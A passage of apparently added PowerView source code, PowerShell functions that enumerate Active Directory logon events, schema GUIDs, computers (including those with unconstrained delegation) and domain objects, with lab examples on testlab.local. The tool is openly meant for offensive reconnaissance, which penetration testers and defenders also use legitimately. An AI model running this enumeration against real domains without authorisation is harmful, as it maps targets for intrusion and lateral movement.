[ValidateRange(1, 1000000)] + [Int] + $MaxEvents = 5000, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + # the XML filter we're passing to Get-WinEvent + $XPathFilter = @" + + + + + + + + + + + *[ + System[ + Provider[ + @Name='Microsoft-Windows-Security-Auditing' + ] + and + (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634) + ] + ] + and + *[ + EventData[ + ( + (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0') + or + Data[@Name='TargetUserName']='ANONYMOUS LOGON' + or + Data[@Name='TargetUserSID']='S-1-5-18' + ) + ] + ] + + + +"@ + $EventArguments = @{ + 'FilterXPath' = $XPathFilter + 'LogName' = 'Security' + 'MaxEvents' = $MaxEvents + } + if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + + $EventArguments['ComputerName'] = $Computer + + Get-WinEvent @EventArguments| ForEach-Object { + $Event = $_ + $Properties = $Event.Properties + Switch ($Event.Id) { + # logon event + 4624 { + # skip computer logons, for now... + if(-not $Properties[5].Value.EndsWith('$')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + TargetUserSid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonId = $Properties[7].Value + LogonType = $Properties[8].Value + LogonProcessName = $Properties[9].Value + AuthenticationPackageName = $Properties[10].Value + WorkstationName = $Properties[11].Value + LogonGuid = $Properties[12].Value + TransmittedServices = $Properties[13].Value + LmPackageName = $Properties[14].Value + KeyLength = $Properties[15].Value + ProcessId = $Properties[16].Value + ProcessName = $Properties[17].Value + IpAddress = $Properties[18].Value + IpPort = $Properties[19].Value + ImpersonationLevel = $Properties[20].Value + RestrictedAdminMode = $Properties[21].Value + TargetOutboundUserName = $Properties[22].Value + TargetOutboundDomainName = $Properties[23].Value + VirtualAccount = $Properties[24].Value + TargetLinkedLogonId = $Properties[25].Value + ElevatedToken = $Properties[26].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent') + $Output + } + } + + # logon with explicit credential + 4648 { + # skip computer logons, for now... + if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + LogonGuid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonGuid = $Properties[7].Value + TargetServerName = $Properties[8].Value + TargetInfo = $Properties[9].Value + ProcessId = $Properties[10].Value + ProcessName = $Properties[11].Value + IpAddress = $Properties[12].Value + IpPort = $Properties[13].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') + $Output + } + } + default { + Write-Warning "No handler exists for event ID: $($Event.Id)" + } + } + } + } + } +} + + +function Get-DomainGUIDMap { +<# +.SYNOPSIS + +Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-Forest + +.DESCRIPTION + +Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for +all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names. +Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local) +for objects where objectClass=controlAccessRight, translating the GUIDs again. + +Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable containing a GUID -> Readable Name mapping. + +.LINK + +http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + + $ForestArguments = @{} + if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } + + try { + $SchemaPath = (Get-Forest @ForestArguments).schema.name + } + catch { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + if (-not $SchemaPath) { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + + $SearcherArguments = @{ + 'SearchBase' = $SchemaPath + 'LDAPFilter' = '(schemaIDGUID=*)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SchemaSearcher = Get-DomainSearcher @SearcherArguments + + if ($SchemaSearcher) { + try { + $Results = $SchemaSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } + $SchemaSearcher.dispose() + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } + } + + $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') + $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' + $RightsSearcher = Get-DomainSearcher @SearcherArguments + + if ($RightsSearcher) { + try { + $Results = $RightsSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } + $RightsSearcher.dispose() + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } + } + + $GUIDs +} + + +function Get-DomainComputer { +<# +.SYNOPSIS + +Return all computers or specific computer objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all computer objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER Unconstrained + +Switch. Return computer objects that have unconstrained delegation. + +.PARAMETER TrustedToAuth + +Switch. Return computer objects that are trusted to authenticate for other principals. + +.PARAMETER Printers + +Switch. Return only printers. + +.PARAMETER SPN + +Return computers with a specific service principal name, wildcards accepted. + +.PARAMETER OperatingSystem + +Return computers with a specific operating system, wildcards accepted. + +.PARAMETER ServicePack + +Return computers with a specific service pack, wildcards accepted. + +.PARAMETER SiteName + +Return computers in the specific AD Site name, wildcards accepted. + +.PARAMETER Ping + +Switch. Ping each host to ensure it's up before enumerating. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainComputer + +Returns the current computers in current domain. + +.EXAMPLE + +Get-DomainComputer -SPN mssql* -Domain testlab.local + +Returns all MS SQL servers in the testlab.local domain. + +.EXAMPLE + +Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname + +Return the dns hostnames of servers trusted for delegation. + +.EXAMPLE + +Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained + +Search the specified OU for computeres that allow unconstrained delegation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainComputer -Credential $Cred + +.OUTPUTS + +PowerView.Computer + +Custom PSObject with translated computer property fields. + +PowerView.Computer.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [OutputType('PowerView.Computer')] + [OutputType('PowerView.Computer.Raw')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [Switch] + $Unconstrained, + + [Switch] + $TrustedToAuth, + + [Switch] + $Printers, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePrincipalName')] + [String] + $SPN, + + [ValidateNotNullOrEmpty()] + [String] + $OperatingSystem, + + [ValidateNotNullOrEmpty()] + [String] + $ServicePack, + + [ValidateNotNullOrEmpty()] + [String] + $SiteName, + + [Switch] + $Ping, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $CompSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + + if ($CompSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $CompSearcher = Get-DomainSearcher @SearcherArguments + if (-not $CompSearcher) { + Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + else { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['Unconstrained']) { + Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['Printers']) { + Write-Verbose '[Get-DomainComputer] Searching for printers' + $Filter += '(objectCategory=printQueue)' + } + if ($PSBoundParameters['SPN']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if ($PSBoundParameters['OperatingSystem']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" + $Filter += "(operatingsystem=$OperatingSystem)" + } + if ($PSBoundParameters['ServicePack']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + if ($PSBoundParameters['SiteName']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" + $Filter += "(serverreferencebl=$SiteName)" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" + Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } + else { $Results = $CompSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Up = $True + if ($PSBoundParameters['Ping']) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname + } + if ($Up) { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Computer = $_ + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') + } + else { + $Computer = Convert-LDAPProperty -Properties $_.Properties + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') + } + $Computer + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" + } + } + $CompSearcher.dispose() + } + } +} + + +function Get-DomainObject { +<# +.SYNOPSIS + +Return all (or specified) domain objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all objects for +the current domain are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER UACFilter + +Dynamic parameter that accepts one or more values from $UACEnum, including +"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainObject -Domain testlab.local + +Return all objects for the testlab.local domain + +.EXAMPLE + +'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname + +distinguishedname +----------------- +CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local +CN=dfm,CN=Users,DC=testlab,DC=local +OU=OU3,DC=testlab,DC=local +CN=dfm (admin),CN=Users,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainObject -Credential $Cred -Identity 'windows1' + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) + +distinguishedname +----------------- +CN=harmj0y,CN=Users,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +.OUTPUTS + +PowerView.ADObject + +Custom PSObject with translated AD object property fields. + +PowerView.ADObject.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObject')] + [OutputType('PowerView.ADObject.Raw')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + DynamicParam { + $UACValueNames = [Enum]::GetNames($UACEnum) + # add in the negations + $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} + # create new dynamic parameter + New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) + } + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + if ($ObjectSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + if (-not $ObjectSearcher) { + Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $ObjectName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$ObjectName)" + $SearcherArguments['Domain'] = $ObjectDomain + Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + if ($Filter -and $Filter -ne '') { + $ObjectSearcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() } + else { $Results = $ObjectSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + $Object + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_" + } + } + $ObjectSearcher.dispose() + } + } +} + + +function Get-DomainObjectAttributeHistory { +<# +.SYNOPSIS + +Returns the Active Directory attribute replication metadata for the specified +object, i.e. a parsed version of the msds-replattributemetadata attribute. +By default, replication data for every domain object is returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'. +This is the domain attribute replication metadata associated with the object. The results are +parsed from their XML string form and returned as a custom object. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + 